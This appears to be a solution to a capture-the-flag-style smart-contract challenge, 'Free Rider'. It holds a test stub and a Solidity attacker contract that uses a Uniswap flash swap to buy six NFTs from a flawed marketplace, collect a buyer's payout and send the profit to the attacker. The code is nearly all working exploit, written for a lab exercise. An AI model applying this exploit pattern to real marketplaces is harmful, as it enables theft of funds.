/** CODE YOUR EXPLOIT HERE */
const FreeRiderAttackerFactory = await ethers.getContractFactory('FreeRiderAttacker', deployer);
this.fr_attack = await FreeRiderAttackerFactory.connect(attacker).deploy(
this.uniswapPair.address,
this.weth.address,
this.marketplace.address,
this.nft.address,
this.buyerContract.address,
attacker.address
);
await this.fr_attack.attack();
});
Contract Solution:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
/*
* @title FreeRiderAttacker.sol
* @author securerodd
*/
interface IWethToken {
function deposit() external payable;
function withdraw(uint256) external payable;
function transfer(address, uint256) external;
}
interface IFreeRiderMarketPlace {
function buyMany(uint256[] calldata) external payable;
}
interface INFT {
function safeTransferFrom(address,address,uint256) external;
}
interface IUniswapV2Pair {
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
contract FreeRiderAttacker {
IWethToken public weth;
IFreeRiderMarketPlace public market;
IUniswapV2Pair public pair;
INFT public nft;
address buyer;
address attacker;
constructor(address _pair, address _weth, address _market, address _nft, address _buyer, address _attacker) {
pair = IUniswapV2Pair(_pair);
weth = IWethToken(_weth);
market = IFreeRiderMarketPlace(_market);
nft = INFT(_nft);
buyer = _buyer;
attacker = _attacker;
}
function attack() public payable{
// make data > 0 in length to turn swap into flash swap
bytes memory data = abi.encode("d");
// flash swap ourselves 15 WETH
pair.swap(15 ether,0,address(this),data);
}
function uniswapV2Call(address, uint, uint, bytes calldata) external {
// Swap weth for ETH
weth.withdraw(15 ether);
// Calculate how much we have to payback for our flashloan
uint256 amountToRepay = (uint256((15 ether * 1000)) / 997) + 1;
// create 'dynamic' array of tokenIDs for our NFT purchase
uint256[] memory tokens = new uint256[](6);
tokens[0] = 0;
tokens[1] = 1;
tokens[2] = 2;
tokens[3] = 3;
tokens[4] = 4;
tokens[5] = 5;
// Use ETH to buy all of the NFTs
market.buyMany{value: 15 ether}(tokens);
// Sell all 6 NFTs to buyer and get the 45 ETH from buyer
for (uint256 i = 0; i < 6;) {
nft.safeTransferFrom(address(this), buyer, i);
unchecked {++i;}
}
// swap ETH for weth
weth.deposit{value: amountToRepay}();
// pay back our flash swap
weth.transfer(address(pair), amountToRepay);
// transfer the spoils to our attacker
payable(attacker).transfer(address(this).balance);
}
// required to receive safeTransferFrom from marketplace
function onERC721Received(
address,
address,
uint256,
bytes memory
)
external pure
returns (bytes4)
{
return IERC721Receiver.onERC721Received.selector;
}
receive() external payable {}
}